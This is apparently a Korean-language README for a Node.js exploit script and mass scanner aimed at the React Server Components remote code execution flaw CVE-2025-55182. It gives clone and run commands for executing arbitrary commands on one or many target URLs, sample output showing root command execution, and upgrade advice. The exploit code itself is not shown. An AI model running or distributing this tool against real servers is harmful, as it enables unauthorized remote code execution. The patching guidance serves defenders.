
NodeJS 기반 익스플로잇 스크립트 및 스캐너 - React Server Components "React2Shell" 취약점 (CVE-2025-55182).
React Server Components(React 19 / Next.js)의 치명적인 RCE 취약점에 대한 경량 자동화 PoC(개념 증명) 및 대량 스캐너입니다.
교육 및 보안 연구 목적으로만 사용하십시오.
이 도구는 보안 전문가와 관리자가 자신의 시스템 취약점을 확인할 수 있도록 설계되었습니다. 작성자는 이 코드를 사용한 오용, 손해 또는 불법 행위에 대해 책임을 지지 않습니다.
CVE-2025-55182는 Next.js(App Router) 및 React 19에서 사용되는 핵심 패키지인 react-server-dom-webpack의 원격 코드 실행 취약점입니다.
이 취약점은 인증되지 않은 공격자가 React Server Actions에 악성 페이로드를 주입할 수 있도록 합니다. 역직렬화 과정을 조작함으로써 공격자는 JavaScript Function 생성자에 접근하여 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
자세한 내용은 다음을 참조하세요: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
영향 받는 버전:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (14.2.35 미만), 15.x (15.5.9 미만)업데이트된 스크립트는 고급 익스플로잇 기술을 사용하여 더욱 안정적으로 작동합니다:
Next-Action ID가 필요하지 않도록 합니다. 수동 정찰 없이도 취약한 모든 Next.js 인스턴스에서 작동합니다.Location 헤더에 밀반입합니다. 이렇게 하면 500 오류를 피하고 깔끔한 출력을 제공합니다.저장소 클론:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
디렉토리로 이동:
cd React-Security-CVE-2025-55182-Exploit
Node.js 버전 확인: Node.js(v18 이상 권장)가 설치되어 있는지 확인하십시오.
node -v
(참고: 이 스크립트는 표준 Node.js 라이브러리를 사용하므로 npm install이 필요하지 않습니다.)
react2shell.js 스크립트는 하나 또는 여러 대상을 스캔하는지 자동으로 감지합니다.
기본적으로 실행되는 명령은 id입니다.
# 단일 대상
node react2shell.js http://localhost:3000 ls
# 여러 대상
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
특정 명령을 실행하려면 마지막 인수로 제공하십시오.
# 구문: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ 취약함: 도구가 명령을 성공적으로 실행하고 리디렉트 헤더를 통해 출력을 밀반입했습니다.
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ 안전함: 서버가 페이로드를 거부했거나 패치되었습니다.
🛡️ SAFE (http://google.com) | Status: 405
❌ 연결 오류: 스크립트가 서버에 연결할 수 없습니다.
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
애플리케이션이 취약한 경우 즉시 종속성을 업그레이드하십시오.
Next.js의 경우:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
기타 프레임워크(Waku, Remix 등)의 경우:
react-server-dom-webpack이 v19.2.1 이상으로 업그레이드되었는지 확인하십시오.
MIT 라이선스 하에 배포됩니다. 자세한 내용은 LICENSE를 참조하십시오.